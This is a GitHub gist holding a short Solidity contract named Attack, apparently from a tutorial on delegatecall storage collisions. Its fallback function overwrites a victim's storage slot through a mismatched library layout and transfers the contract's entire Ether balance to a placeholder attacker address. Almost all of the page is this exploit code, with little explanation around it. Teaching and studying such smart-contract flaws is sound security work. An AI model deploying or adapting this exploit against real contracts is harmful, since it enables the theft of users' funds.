Created
July 21, 2018 18:34
-
-
Save vasa-develop/b47fe7868411361c3ef436c48adbc91b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Attack { | |
uint storageSlot0; // corresponds to fibonacciLibrary | |
uint storageSlot1; // corresponds to calculatedFibNumber | |
// fallback - this will run if a specified function is not found | |
function() public { | |
storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw | |
// is called we don't send out any ether. | |
<attacker_address>.transfer(this.balance); // we take all the ether | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment